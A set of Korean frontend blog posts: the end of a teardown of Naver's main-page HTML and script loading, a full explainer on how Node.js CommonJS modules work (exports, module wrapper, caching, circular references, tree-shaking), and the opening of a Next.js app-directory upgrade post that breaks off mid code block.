- `<html/>`: html 태그의 시작이다. [lang](https://html.spec.whatwg.org/multipage/dom.html#attr-lang)은 내부 요소의 콘텐츠 및 텍스트의 기본 언어를 지정하는 속성이다. `data-dark`나 `class`는 내부적으로 사용하는 용도로 보인다. 참고로 다크 모드는 쿠키의 `NSCS` 값을 제어하여 컨트롤하는 것으로 보인다.
- `<meta charset="utf-8">` HTML의 문서의 문자 인코딩 방식이 utf-8 이라는 뜻이다.
- `<meta http-equiv="X-UA-Compatible" content="IE=edge">`: 오직 인터넷 익스플로러에서만 유요한 태그로, 인터넷 익스플로러에 IE Edge 모드를 사용하여 렌더링하라고 지시하는 것이다. MZ하지 않은 개발자들은 IE 브라우저의 호환성보기 모드를 알 텐데, 이 호환성 보기 모드에 가장 최신의 브라우저 렌더링 방식인 Edge를 사용하도록 지시하는 것이다.
- `<meta name="viewport" content="width=1190">`: 뷰포트에 최소너비를 지정해주는 내용의 태그다. 이로 미루어보아 네이버 메인 페이지는 최소 1190px에서 잘 렌더링 되도록 설계한 것을 알 수 있다.
- `<meta name="apple-mobile-web-app-title" content="NAVER" />`: 이 내용은 [애플 개발자 문서](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html)에서 확인할 수 있는데 iOS에서 런치아이콘을 생성했을 때 해당 앱의 타이틀이 된다.
- `<meta name="robots" content="index,nofollow" />`: 검색 수집 로봇의 동작을 정의할 수 있는 메타 태그다. 이 경우, `index`페이지는 크롤링하나, `notfollow`옵션으로 인해 내부에 있는 링크는 따라가지 않는다.
- `<link rel="apple-touch-icon-precomposed" href="https://s.pstatic.net/static/www/nFavicon96.png" />`: iOS 7에서 동작하는 터치 아이콘 이미지다. iOS 7 이하 버전 지원을 위해 남겨 둔 것으로 보인다.
- 이하 스크립트: 무언가 제3자 스크립트의 초기화를 위한 작업을 추가해준 것으로 보인다.

### 2. `window["EAGER-DATA"]`

네이버의 동작을 깊게 살펴보면서 처음 알게된 동작이다. `EAGER-DATA`가 무엇을 하는지는 개발자가 아닌 이상 정확히 알수 없지만, `EAGER-DATA`라는 이름으로 보아 웹사이트 렌더링에 즉시 필요한 데이터로 보인다.

```html
<script>
  window['EAGER-DATA'] = window['EAGER-DATA'] || {}
</script>
```

이는 아마도 nextjs의 pageProps 처럼 서버사이드에서 가져온 데이터를 html에 바로 삽입하여 즉시 자바스크립트 단에서 사용하기 위한 목적으로 추정된다. 이렇게 페이지 내부에 `window['EAGER-DATA']`로 삽입 해두면, 자바스크립트에서는 `window['EAGER-DATA']`를 사용해 손쉽게 데이터를 가져올 수 있다. 실제로 소스코드에서도 이렇게 접근해서 가져오는 것을 확인할 수 있었다.

![naver-09](./images/naver-09.png)

정확한 분석은 아니지만, 아마도 사용자에게 정적 페이지를 제공하기 위해 다음과 같은 과정을 거칠 것으로 예상해볼 수 있다.

1. 미리 빌드해둔 head 영역 html을 가져온다.
2. 1번의 파일엔 `<html> ... <script>` 까지 코드가 존재한다.
3. 서버에서 렌더링에 필요한 동적인 데이터를 불러온다.
4. 2번의 파일에 3번의 서버에서 불러온 데이터를 `window["EAGER-DATA"] = window["EAGER-DATA"] || {};`을 시작으로 내용을 붙여 넣는다.
5. 4번 내용이 끝나면 `</script>`로 닫는다.
6. 광고나 지표 수집같이 우선순위가 떨어지는 내용을 마지막 스크립트로 붙인다.

```html
<!DOCTYPE html>
<html>
  <script>
    <!-- 미리 빌드해둔 html 영역 여기까지가 1번째 줄 -->
    <!-- 서버에서 불러온 데이터를 window["EAGER-DATA"] 형태로 때려 넣어 파일형태로 삽입한다.-->
  </script>
</html>
```

이렇게 추측한 이유는 첫번째 줄에서 `<script>`태그가 닫히지 않고 마치 다음 페이지에 무언가 삽입되는 내용을 기대하는 것 처럼 끝났기 때문이다. 그리고 줄 단위로 데이터를 하나씩 넣는 걸로 보아, 이 줄 단위로 요청을 하고 삽입을 하는게 아닐까 싶다.

참고로 nextjs는 다음과 같은 형태로 한줄로 깔끔하게 나온다.

```html
<script id="__NEXT_DATA__" type="application/json">
  {"props":{"pageProps": {}}},"isFallback":false,"gssp":true,"customServer":true,"appGip":true,"scriptLoader":[]}
</script>
```

이렇게 처리한 이유는 아마도 내부에서 스크립트로 인한 fetch 요청을 최소화 하기 위함일 것이다. 서버에서 클라이언트 렌더링에 필요한 모든 데이터를 다 fetch 해온 다음에, 이를 클라이언트에 제공하여 마치 서버사이드 렌더링을 하는 것과 같은 효과를 누릴 수 있게 된다. 이러한 노력 덕분에 네이버 메인의 네트워크 요청을 보면 xhr 요청이 없는 것을 확인할 수 있다.

그러나 서버사이드 렌더링과는 다른 점은, 미리 만들어진 html을 내려주는 방식이 아니라는 것이다. 이는 소스보기로 부터 만들어진 html을 보면 알 수 있다.

```html
<div id="wrap">
  <div id="header" role="banner">
    <div id="topSearchWrap" class="header_inner">
      <!--  상단 검색영역    -->
    </div>
  </div>
  <div id="container" role="main">
    <div id="root"></div>
  </div>
  <div id="footer" role="contentinfo"></div>
</div>
```

html은 검색영역, 그리고 리액트의 루트 영역으로 추정되는 `div#container` 를 확인할 수 있었다. 요약하자면 서버의 데이터를 hydration 해서 내려주는 것은 nextjs와 비슷하지만, 이를 클라이언트에서만 가지고 렌더링 한다는 점은 서버사이드 렌더링 애플리케이션과 SPA 어딘가쯤에 있는 것 같은 느낌을 준다.

> 정확히는 네이버의 스크립트로 인한 xhr 요청이 없다는 뜻이다. 제3자 스크립트로 인한 요청은 확인할 수 있었다.

### 3. 각종 스크립트

이제 부터 본격적으로 스크립트 영역이다. 주요한 내용만 몇가지 살펴본다.

- `<script defer="defer" src="https://pm.pstatic.net/resources/js/polyfill.f47ccc9a.js?o=www" crossorigin="anonymous">`: 안정적인 최신 기능 사용을 위한 폴리필이다. 여기서 확인한 주요 폴리필은 다음과 같다.
  - `Map`
  - `WeakMap`
  - `MutationObserver`
  - `DOMRectReadOnly`
- `<script defer="defer" src="https://pm.pstatic.net/resources/js/preload.06cdf21d.js?o=www" crossorigin="anonymous">`: jquery와 sizzle.js가 초기화되는 파일로 보여진다. `preload`라는 이름이 달려있는 것으로 보아, 미리 `jquery`를 전역에 안정적으로 추가하기 위한 목적으로 보여진다.

> 참고로 `defer`의 경우 우선순위가 제일 낮으며, 이들이 실행되는 시점은 모든 `<script/>`가 실행된 이후다. `defer`간의 실행되는 순서는 태그 순서이므로 `preload`나 `polyfill`을 먼저 선언해주는 것이 정상적인 동작을 보장해줄 수 있다.

- `<script defer="defer" src="https://pm.pstatic.net/resources/js/search.c0419952.js?o=www" crossorigin="anonymous">`: 검색바와 관련된 스타일이 별도로 있었던 것 처럼, 검색과 관련된 스크립트 역시 따로 빼둔 것을 확인할 수 있다. 여기서 유추해볼 수 있는 내용은 두가지다.
  - 네이버의 비즈니스로직 중 검색을 최우선 순위로 삼고 있다?
  - 모종의 이유로 검색 영역은 리액트로 못넘어가지 못했다?
  - 네이버 SE (구글 비스무리한 심플버전, 이걸 알면 당신도 MZ 하지 못하다) 의 잔재다?
- `<script defer="defer" src="https://pm.pstatic.net/resources/js/main.acc2da58.js?o=www" crossorigin="anonymous">`: 이제 진짜 메인 chunk다. 한가지 특이한점은 다른 여러 사이트와 다르게 chunk를 여러 단위로 분리하지 않고 하나의 뭉탱이로 관리하고 있다는 것이다. 이 뭉탱이의 크기는 약 164.8kb 이다. 필요데 따라서 여러개의 `chunk`로 나눠서 제공할 수도 있지만,

### 4. `<div>`

이제 본격적으로 div를 포함한 body 영역이 렌더링 된다. 이 영역은 앞서 언급했듯 딱 검색 영역과 리액트 루트만 존재한다.

````html
```html
<div id="wrap">
  <div id="header" role="banner">
    <div id="topSearchWrap" class="header_inner">
      <!--  상단 검색영역    -->
    </div>
  </div>
  <div id="container" role="main">
    <div id="root"></div>
  </div>
  <div id="footer" role="contentinfo"></div>
</div>
````

## 기타

### 꼼꼼한 에러 바운더리

리액트로 만들어진 애플리케이션 들은 대게 에러 바운더리를 활용하여 에러를 처리하는데, 네이버의 경우 컴포넌트 단위로 아주 빡세게 에러 바운더리 관리를 하고 있는 것을 볼 수 있었다.

![naver-10](./images/naver-10.png)

컴포넌트 디버깅 도구로 추측컨데 `withErrorBoundary`라는 HOC를 만들고 이를 특정 컴포넌트 단위로 묶어서 에러 처리를 하는게 아닐까 싶다. 이렇게 하면 컴포넌트의 에러를 애플리케이션 전체에 증폭시키지 않아도 되므로 유용하다.

실제로 이 영역을 `false`로 바꿔서 에러를 어떻게 보여주는지 살펴보았더니 🤔

![naver-12-1](./images/naver-12-1.png)

![naver-12-2](./images/naver-12-2.png)

그냥 해당영역을 `null`로 반환하는 것을 확인할 수 있었다. 별도의 오류 컴포넌트를 선언해두지 않은 것은 장애가 난걸 동네방네 알리고 싶지 않아서가 아닐까?

### `iframe`

네이버에는 각종 iframe이 존재한다.

- 앞서 언급했던 쇼핑 https://shopsquare.naver.com/
- 최상단 배너, 로그인 하단 등 광고 영역

네이버의 경우 `X-XSS-Protection` 헤더로 cross site scripting을 막는 반면, `iframe`으로 제공되는 페이지들에는 딱히 그런 처리가 없는 것으로 확인되었다. (광고라서 누가 띄워주면 개이득?)

광고를 `iframe`으로 하는 것은 일반적인 기술이다. 이는 광고를 표시하는 컨텐츠 제공자에게 컨텐츠 제어권을 넘기지 않아도 되며, 구조적으로 분리할 수도 있으며, 성능을 별도 측정할 수 있다는 장점이 있다. 아마도 어딘가 구글 adsense 처럼 광고 sdk 가 따로 동작해서 `iframe`으로 광고를 띄우는 것이 아닐까 싶다.

### MIME 타입 요약

![naver-11](./images/naver-11.png)

대부분 요청이 이미지를 차지하고 있다. 이러한 이미지들을

- 최대한 화질 손상 없이 압축
- progressive jpeg으로 변경 (IE에서는 소용 없지만)
- 중요하지 않은 이미지 들에 대한 [`loading=lazy` 속성 추가](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy_loading#images_and_iframes)

정도로 처리해 둔다면 보다 더 빠르게 이미지 리소스를 불러오게 만들 수 있을 것이다. 다른건 IE 11에서의 동작여부를 정확히 알아봐야 하겠지만, 이미지 압축 정도는 지금 바로 해볼 수 있을 것으로 보인다.

## 요약

- naver 는 클라이언트에서 fetch 요청을 최소화 하기 위해 서버에서 미리 필요한 데이터를 요청 한다음, `window['EAGER-DATA']` 에 넣어둔다.
- 클라이언트는 클라이언트 사이드 렌더링을 채택하여 `window['EAGER-DATA']` 를 기준으로 렌더링한다
- 네이버의 핵심 기능인 검색은 별도의 html, js, css 로 구성되어 있다.
- 네이버는 광고 노출을 위해 여러 `iframe`을 사용하고 있으며, 네이버 본체를 제외하고 별도 X-XSS-Protection 처리는 되어 있지 않다.

네이버 화이팅 💪

---

Source: https://yceffort.kr/2023/05/what-is-commonjs.md
Title: 1부) commonjs란 무엇인가?
Description: const module = require("./module.js")
Date: 2023-05-26
Tags: javascript, nodejs

> 이 글은 `commonjs`와 `esmodule` 의 동작 원리와 차이점을 알기 위해 작성된 글이다. 총 3부작으로 작성할 예정이고, 작성될 때 마다 본문에 링크를 추가해 두겠다.

## Table of Contents

## 서론

nodejs가 15.3.0 부터 esmodule을 정식 지원하기 시작한 이래로, 많은 자바스크립트 개발자들이 모듈을 불러오는 과정이 `require`와 `import` 로 차이가 있다는 것을 알 뿐, 그 외의 동작에도 차이가 있다는 것을 잘 모르는 것 같다. (일단 나부터 모른다면 ㄱㅊ) 구체적으로 이 둘은 어떤 차이가 있고, 궁극적으로 npm 라이브러리가 이 두 모듈을 동시에 지원하기 위해 어떠한 노력을 기울여야 하는지 종합적으로 살펴보자.

> 과거 [CommonJS와 ES Modules은 왜 함께 할 수 없는가?](/2020/08/commonjs-esmodules) 라는 글을 작성한 적이 있는데 이 보다 더 심오하게 들어간 내용을 작성해보았다.

## Commonjs

### 정의

commonjs 모듈은 원래 nodejs에서 자바스크립트 패키지를 불러올 때 사용하는 근본있는 방식이다. 앞서 이야기 한 것 처럼 현재는 ECMAScript module(이하 esmodule)을 지원하지만, 태초에는 commonjs 방식만 존재했다. (amd나 뭐이것저것 있었는데 일단 nodejs 환경에서는 commonjs가 유일했다.)

먼저 모듈이라는 말의 정의를 먼저 짚고 넘어가야 한다. nodejs에서 모듈은 각각의 분리된 파일을 모듈이라 칭한다. 예를 들어 다음과 같은 코드가 있다고 가정해보자.

```javascript
// foo.js
const math = require('./math.js')
console.log(math.sum(1, 2))
```

위 코드에서 첫번째 줄에는 `./math.js`라는 별도의 파일, 즉 같은 디렉토리에 있는 별도의 모듈을 참조하고 있는 것을 볼 수 있다. 그리고 `./bar.js`는 다음과 같은 내용을 담고 있다고 가정해보자.

```javascript
const {PI} = Math

exports.sum = (a, b) => a + b

exports.circumference = (r) => 2 * PI * r
```

`math.js`는 `sum`과 `circumference` 함수 두개를 export 하는 것을 볼 수 있다. 이처럼 nodejs는 `exports`라고 하는 특별한 객체를 통해 모듈의 루트에 추가할 수 있게 된다.

여기에서 주목할 것은 최상단의 `Math` 객체에서 구조분해할당을 한 `PI`다. nodejs는 모듈을 module wrapper라고 하는 함수로 래핑하기 때문에 `PI`와 같은 로컬 변수는 위 두 함수와 다르게 비공개가 된다. 이에 대한 자세한 내용은 뒤에서 다룬다.

또 하나 알아두어야 할 것은 `module.exports`라고 하는 속성이다. 이 속성에는 함수나 객체와 같은 새로운 값을 선언할 수 있다. 다음 예시를 살펴보자.

```javascript
// foo.js
const Square = require('./square.js')
const mySquare = new Squre(2)
```

```javascript
// square.js
module.exports = class Square {
  constructor(width) {
    this.width = width
  }

  area() {
    return this.width ** 2
  }
}
```

여기에서는 `exports`가 `module.exports`을 사용하였다. 그 결과 `foo`에서 `require`해온 `Square` 는 `square.js`에서 선언한 `Square`클래스가 할당되어 있는 것을 볼 수 있다.

그렇다면 `module.exports`랑 `exports`을 사용하는 것에는 어떤 차이가 있는 것일까? 먼저 앞선 `math`의 예제 처럼 `exports.sum`을 하거나 `module.exports.sum`을 하는 것 은 동일하다.

```javascript
const {PI} = Math

module.exports.area = (r) => PI * r ** 2
module.exports.circumference = (r) => 2 * PI * r

module.exports === exports // true
```

```javascript
const {PI} = Math

exports.area = (r) => PI * r ** 2
exports.circumference = (r) => 2 * PI * r

module.exports === exports // true
```

그러나 큰 차이를 보이는 건 바로 `module.exports = // ... something`을 하는 경우다.

```javascript
module.exports = class Square {
  constructor(width) {
    this.width = width
  }

  area() {
    return this.width ** 2
  }
}

console.log('exports >>>', exports) // {}
console.log('module.exports >>>', module.exports) // [class Square]
console.log('compare', exports === module.exports) // false

// index.js
const Square = require('./Math.js') // Square
```

```javascript
exports = class Square {
  constructor(width) {
    this.width = width
  }

  area() {
    return this.width ** 2
  }
}

console.log('exports >>>', exports) // [class Square]
console.log('module.exports >>>', module.exports) // {}
console.log('compare', exports === module.exports) // false

// index.js
const Square = require('./Math.js') // {}
```

이러한 차이가 발생하는 이유는 무엇일까? **그 이유는 바로 `exports`자체가 `module.exports`를 가리키고 있기 때문이다.** 이는 nodejs의 문서에도 나와있다.

> A reference to the module.exports that is shorter to type.
>
> https://nodejs.org/api/modules.html#exports

`exports`는 `module.exports`의 일종의 숏컷으로 볼 수 있다. `module.exports`는 모듈이 평가되기 전에 미리 할당되는 값이다. 그렇다면 아래의 코드에서 `export`되는 것은 무엇일까?

```js
module.exports.hello = true
exports = {hello: false}
```

정답은 `{hello: true}`다.

즉, `module.exports`와 `exports`는 아래와 같은 관계를 가지고 있다고 보면 된다.

```js
module.exports = exports = class Square {
  // something...
}
```

결론적으로 `exports`가 아무리 일부 케이스에서 정상적으로 동작한다 하더라도 `module.exports`를 쓰는 것이 옳다.

### nodejs 는 언제 commonjs를 사용할까?

앞서 이야기 한 것 처럼 nodejs에서 사용되는 모듈 시스템은 `Commonjs`와 `esmodule` 두가지가 있다. 그렇다면 nodejs는 이 두 모듈 시스템 중 어떤 모듈 시스템을 사용할지 어떻게 결정할까? nodejs가 `Commonjs` 모듈 시스템을 사용하는 경우는 다음과 같다.

- 파일 확장자가 `.cjs`로 되어 있는 경우
- 파일 확장자가 `.js`로 되어 있으며
  - 가장 가까운 부모의 `package.json`의 파일의 `type`필드에 값이 `commonjs`인 경우
  - 가장 가까운 부모의 `package.json`파일에 `type` 필드가 명시되어 있지 않은 경우
    - 이것이 바로 그 commonjs 라이브러리로 대표되는 `lodash`의 사례다. [lodash의 경우 package.json에 `type`이 할당되어 있지 않다.](https://github.com/lodash/lodash/blob/master/package.json)
    - 라이브러리 제작자라면, 어쩄거나 이 `type` 필드에 값을 `commonjs`든 뭐든 넣어주는 것이 좋다. 이는 빌드 도구나 번들러들이 모듈을 빠르게 결정해서 작업하는데 도움을 준다.
- 파일 확장자가 `.mjs` `.cjs` `.json` `.node` `.js` 가 아닌 경우. 이 경우 가장 가까운 부모의 `package.json`이 `type: "module"`로 되어 있다고 하더라도, 모듈 내부에 `require()`를 쓰고 있다면 commonjs로 인식한다.
- 모듈이 `require()`로 호출 되는 경우 내부 파일에 상관없이 무조건 `commonjs`로 인식한다.

여기서 중요한 것은 항상 기본값은 `commonjs`를 사용하는 것이다. `package.json`또는 파일명에 별다른 조치를 취해주지 않으면 항상 `commonjs`를 사용한다. 이러한 이유는

1. `commonjs`와 `esmodule`간에 호환이 되지 않음
2. 이미 많은 패키지가 `commonjs`를 기반으로 제작됨

이기 때문이다. 호환이 되지 않는 이유는 뒤이어서 다룬다.

### module wrapper

앞서 `module wrapper`라는 함수 덕분에, 모듈에서 `export`되지 않은 값들이 로컬 변수로 남아 숨겨질 수 있다고 언급했다. 이 `module wrapper` 함수는 다음과 같이 생겼다.

```js
;(function (exports, require, module, __filename, __dirname) {
  // 내부 모듈 코드는 실제로 여기에 들어감
})
```

이렇게 함으로써 얻을 수 있는 이점은 다음과 같다.

- 모듈 최상단에 있는 `var` `const` `let` 등으로 선언된 변수가 글로벌 객체 (`global`)에 등록되는 것을 막는다.
- 모듈에서 글로벌 객체 있는 `exports` `require` `module` `__filename` `__dirname`을 사용할 수 있게 해준다.
  - 그렇다. `esmodule`에서 `__filename`, `__dirname` 등을 사용하지 못하는 이유는 `module wrapper`가 없기 때문이다.

### 순환 참조에서는 어떻게 동작할까?

백문이 불여일견이다. 코드를 보면서 살펴보자.

```js
// a.js
console.log('a starting')
exports.done = false
const b = require('./b.js')
console.log('in a, b.done = %j', b.done)
exports.done = true
console.log('a done')

// b.js
console.log('b starting')
exports.done = false
const a = require('./a.js')
console.log('in b, a.done = %j', a.done)
exports.done = true
console.log('b done')

// index.js
console.log('main starting')
const a = require('./a.js')
const b = require('./b.js')
console.log('in main, a.done = %j, b.done = %j', a.done, b.done)
```

이 코드에서 예상되는 서순은 다음 과 같다.

1. `index.js`가 실행됨
2. `a.js`를 불러옴
3. `a.js`가 `b.js`를 불러옴
4. `b.js`가 `a.js`를 불러옴
5. 무한루프?????????

실제 실행 결과를 살펴보자.

```text
main starting
a starting
b starting
in b, a.done = false
b done
in a, b.done = true
a done
in main, a.done = true, b.done = true
```

실제 실행 시에는 무한루프에 빠지지 않고 잘 끝난 것을 볼 수 있다. 그 이유는 앞서 이야기 한 캐싱 덕분이다. 캐싱 작업으로 인해, 한번 불러온 모듈은 다시 불러오지 않게 된다. 여기에서는 `b.js`가 `a.js`를 불러오는 순간, `a.js`의 `exports.done`이 `false`인 상태의 객체가 리턴된다. 그 이유는 최초에 `index.js`에서 `require(./a.js)`가 아직 끝나지 않았기 때문이다. 이렇게 nodejs가 무한 순환 참조를 방지하면, `main.js`가 `./a.js`와 `./b.js`를 모두 불러온 순간 각각 모듈의 `done`이 `false`가 된다.

### 특징

#### 동기로 실행된다

commonjs의 특징은 모듈을 동기로 불러온다는 것이다. 이 말인 즉슨 모듈을 하나씩 순서대로 불러오고 처리한다는 뜻이다. 다음 예제를 살펴보자.

```javascript
// module1.js
console.log('module1 로드 시작')

setTimeout(() => {
  console.log('module1 실행')
}, 2000)

console.log('module1')
```

```javascript
// index.js
console.log('시작')
const module1 = require('./module1')
console.log('index!')
const module2 = require('./module2')
console.log('종료')
```

> 깜짝 면접 퀴즈: 다음 실행결과는?

```bash
시작
module1 로드 시작
module1
index!
module2 로드 시작
module
종료
```

`require`는 동기로 불러온다는 점을 반드시 기억해야 한다. `require`를 선언하면 디스크 또는 네트워크로 해당 모듈을 읽어서 즉시 스크립트를 실행한다. 따라서 `require`를 실행하게 되면 그 자체만으로 I/O나 부수효과를 발생시키고, 그 이후에 `module.exports`에 있는 값을 반환한다.

따라서 성능이 좋은 nodejs 프로그램을 만드려면 `require`를 최소화 하는 것이 좋다. 이에 대해서는 이후에 다룬다.

#### 캐싱

모듈은 한번 로딩되고 난 뒤에는 캐싱된다. 즉, 같은 `reuiqre()`를 호출하게 되면, 한번 이 값을 resolve한 뒤에는 동일한 값을 반환한다. 다음 예제를 살펴보자.

```js
// data.js
console.log('call data')

module.exports = 'hello'
```

```js
const data1 = require('./data.js')
const data2 = require('./data.js')
const data3 = require('./data.js')

console.log(data1, data2, data3)
```

```js
// call data
// hello hello hello
```

최초에는 미처 `require(./data.js)`가 캐싱되지 않아 전체 모듈을 evaluation 하여 값을 가져왔다. 이렇게 한번 캐싱된 이후에는 앞서 캐싱원리에 따라 동일하나 값을 `resolve`하면 되므로 더이상 `console.log`가 실행되지 않는 것을 확인할 수 있다.

이러한 캐싱 정보는 `require.cache`에 존재한다. 필요에 따라서 이 캐시정보를 삭제할 수도 있다.

```js
const data1 = require('./data.js')

delete require.cache[require.resolve('./data.js')]

const data2 = require('./data.js')
const data3 = require('./data.js')

console.log(data1, data2, data3)

// call data
// call data (캐시가 지워져 한번더 호출되었다.)
// hello hello hello
```

이 모듈 캐싱에 대해 알아둬야 할점은, 캐싱의 기준은 파일명이 된다는 것이다. `node_modules`와 같이 모듈은 호출하는 모듈의 위치에 따라 다른 파일명으로 해석될수도 있으므로, 다른파일로 해석될 여지가 존재하는 경우 항상 동일한 객체를 반환한다는 보장을 할수는 없다.

또한 OS나 파일시스템에 따라 대소문자를 구분하지 아흔 경우, 서로 다른 파일 이름이 동일한 파일을 가리킬 수 는 있지만, 모듈은 여전히 다른 것으로 취급하여 파일을 여러번 다시 로드할 수도 있다. 즉, OS나 파일시스템에 따라 `./foo`나 `./FOO`는 같은 파일로 취급될 수도 있지만, `require('./foo')` `require('./FOO')`는 서로 다른 두 객체를 반환한다. 즉, nodejs의 파일명 기반 모듈 캐싱은 대소문자에 따라 결과가 달라진다.

#### 트리쉐이킹이 되지 않는다?

자바스크립트 개발자라면 `commonjs`가 트리쉐이킹이 되지 않는 다는 이야기를 많이 들어보았을 것이다. 결론부터 말하자면 어느정도는 사실이다. 사실 `commonjs` 는 nodejs 환경에서만 사용될 목적으로 만들어졌었다. 즉 그당시만 하더라도 브라우저에서는 복잡한 모듈 시스템을 만들 필요가 없었고, (복잡한 자바스크립트 자체가 필요하지 않았으므로) 서버, 즉 많은 서로다른 모듈을 불러와야 했던 nodejs에서만 필요했기 때문이다. 그리고 서버는 애초에 모듈 크기가 커지는게 크게 상관이 없기도 하다. (브라우저 처럼 사용자가 다운로드 하거나 그럴 필요가 있는 것은 아니므로) 그러한 사실을 방증하듯, 애초에 `commonjs`의 이름은 `serverjs`였다.

> 2009년 `commonjs` 의 창시자 Kevin Dangoor 가 쓴 글에 그 흔적을 볼 수 있다.
>
> https://www.blueskyonmars.com/2009/01/29/what-server-side-javascript-needs/

아무튼 다시 본론으로 돌아와서, `commonjs`와 트리쉐이킹의 관계를 살펴보자. 앞서 `commonjs`환경에서는 모든 각각의 파일단위의 모듈을 `module wrapper`라고 하는 함수로 감싸서 실행한다고 하였다. 이러한 `commonjs`의 방식이 문제가 된 것은 브라우저에서 `commonjs` 모듈 방식을 사용하기 시작하면서 부터다. 서버는 어느 정도 컴퓨팅 속도나 성능이 보장되어있었지만, 브라우저의 경우 이러한 사용자의 성능을 담보할 수 없다. 각 모듈이 `module wrapper`로 인해 생성된 개별 함수 클로저에 의해 래핑되서 실행된다는 점은, 브라우저에서 자바스크립트 성능을 매우 안좋게 만들었다. 프레임워크 기반의 자바스크립트 환경을 생각해보자. 각종 모듈이 얽혀서 불러오는 과정에서 매번 클로저가 생성되서 참조된다는 것은 분명히 성능상 문제가 있었다. 그래서 그당시 인기있는 번들러였던 [Closure Compiler](https://developers.google.com/closure/compiler?hl=ko)나 [rollupjs](https://rollupjs.org/)는 모든 모듈을 하나의 클로즈로 호이스팅하거나 연결해서 `require`로 인한 성능 저하 현상을 방지하였다.

이러한 작업은 지금까지도 가장 널리 쓰이고 있는 번들러인 웹팩에서도 마찬가지다. 웹팩은 [ModuleConcatenationPlugin](https://webpack.kr/plugins/module-concatenation-plugin/) 라는 프로덕션 모드에서만 동작하는 플러그인을 용하여 여러 모듈을 하나로 연결하여 클로져 생성을 최소화 하는 작업을 한다.

그렇다면 이게 왜 문제가 되는 것일까? 답은 `module.exports`의 객체 방식 `exports` 때문이다. 아래 코드를 살펴보자.

```javascript
// test.js
module.exports = {
  [globalThis.hello]: 'world',
}
```

```javascript
// index.js
const hello = 'hello'

globalThis[hello] = hello

const test = require('./test.js')

console.log(test[hello])
```

이 정신나가 보이는 코드는 동작할까? 놀랍게도 `world`라는 값이 정상적으로 출력된다.

> https://replit.com/@yceffort/YellowishNeatDictionary#index.js

**`module.exports`의 객체라는 특성 때문에, 빌드 타임에서는 모듈에서 어떠한 값이 불러와서 사용해질 수 있을지 가늠할 수 없다.** 따라서 번들러들은 `commonjs`로 되어 있는 모듈의 성능을 위해 하나의 거대한 클로저로 합쳐버린 대신, 무엇이 실행될 지를 결정하는 작업을 포기해버린다. 그에 반해, `esmodule`은 `export`라는 명확한 키워드를 사용하고 있으므로 사용 여부를 결정할 수 있기 때문에 트리쉐이킹이 가능하다.

그렇다면 아까 '어느 정도는 사실' 이다 라는 말은 무엇일까? 위 코드 처럼 동적으로 `exports`을 하지 않는 등 몇가지 규칙을 지키다면, [webpack-common-shake](https://github.com/indutny/webpack-common-shake) 모듈을 사용하는 등의 방법으로 트리쉐이킹을 수행할 수 있다. (`rollup`에서는 별도 설정없이 기본으로 된다)

#### `module.exports`로만 `export`가 가능하다

이는 앞서 `module.exports`에서 알아보았던 내용과 동일하다. `module.exports`가 `export`할 수 있는 유일한 방법이기 때문에, 모듈에서 여러 값을 `export`하려면 `module.exports` 자체를 객체로 사용하는 수 밖에 없다. 이는 `export const ...`으로 `export` 키워드로 모듈 어디서든 내보내기를 사용할 수 있는 `esmodule`과 대비되는 지점이다.

### commonjs의 시대는 끝났는가?

답은 그렇다고 볼 수 있다. 최근 많은 라이브러리들이 순수한 esmodule로 구현하고 있는 추세다.

- `query-string`: https://github.com/sindresorhus/query-string/releases/tag/v8.0.0
- `d3.js`: https://github.com/d3/d3/releases/tag/v7.0.0
- `chalk`: https://github.com/chalk/chalk/releases/tag/v5.0.0

등등 유명한 라이브러리들이 `commonjs` 지원을 중단하고 `esmodule`로 넘어가고 있는 추세다. 그 이유는 여러가지 있다.

- `webpack@4`와 같은 `commonjs` 만 지원하는 번들러가 점차 사라지고 있음
- 라이브러리 관리자들이 유지보수하기 굉장히 빡셈
  - 라이브러리를 두종류로 번들링 해야하는 데 따른 시간 증가 및 관리 포인트 증가
- 트리쉐이킹을 지원하지 못함

`commonjs`를 표준에서 제외해야 하는가, `deprecated` 해야 하는가, `nodejs`에서 지원을 중단해야 하는가 여부는 매우 논쟁적인 부분이지만, 대부분의 자바스크립트 개발자들은 `esmodule`을 더 선호한다는 것에는 동의할 것이다.

### 마치며

지금까지 `commonjs`의 특징에 대해서 살펴보았다. 비록 이제 저물어가는 모듈 방식이지만, 여전히 많은 코드가 `commonjs`에 의존하고 있기 때문에 `commonjs` 동작 방식을 이해하는 것은 중요하다. 그리고 `commonjs` 방식을 이해한다면, `esmodule`의 필요성에 대해 이해하게 되는 좋은 계기가 될 것이다.

---

Source: https://yceffort.kr/2023/05/blog-app-dir.md
Title: 블로그 app dir 업그레이드 후기
Description: 😬
Date: 2023-05-23
Tags: nextjs, react, frontend

## Table of Contents

## 서론

블로그가 만들어진지도 꽤 오랜시간이 지나 새롭게 기술 스택을 수정할 필요가 있었고, 5월 초에 리액트@18 의 서버 컴포넌트를 사용할 수 있는 nextjs@13.4 가 정식으로 릴리즈 되었다. 리액트 18과 nextjs 13은 꽤나 많은 변경점을 가지고 있기 때문에 실무에 본격적으로 적용하기 전에 먼저 적용해 볼 필요가 있다고 생각하여 블로그에 우선적용하게 되었다. 약 2시간 정도를 들여 업그레이트에 성공한 기억을 바탕으로, 기존 블로그에서 업그레이드 하면서 겪었던 경험에 대해서 요약한다.

## 가이드

리액트18의 문서가 https://react.dev/ 를 기반으로 완전히 바뀐 것처럼, next@13 도 이번에 새 주버전이 올라가면서 문서가 https://nextjs.org/docs 완전히 새롭게 변경되었다. 개인적으로 한번 읽어본 바로는, 아직 공식 문서의 내용이 부족한 점이 있지만 꽤 일목 요연하게 잘 정리된 것 같은 느낌을 받았다. 업그레이드에는 이 두 문서와 [app router incremental adoption guide](https://nextjs.org/docs/app/building-your-application/upgrading/app-router-migration)를 참고했다.

## `src/pages`에서 `src/apps`로

#### 서버 컴포넌트

가장 큰 차이점은 `_app.tsx`와 `_document.tsx`로 대표되던 `src/pages`방식이 사라졌다는 것이다. 이 방식은 서버사이드에서 렌더링한다는 장점은 있지만, 모든 페이지가 완성되기 까지 기다려야 한다는 단점이 존재한다. 그러나 서버 컴포넌트는 이제 모든 페이지 완성을 기다릴 필요가 없이 스트림 방식으로 완성된 페이지를 조금씩 반환한다. 정확히는, 리액트 렌더링에 필요한 정보를 스트림으로 제공한다.

```bash
## https://yceffort.kr/pages/3 에 접근시

1:HL["/_next/static/css/60c057695325b064.css",{"as":"style"}]
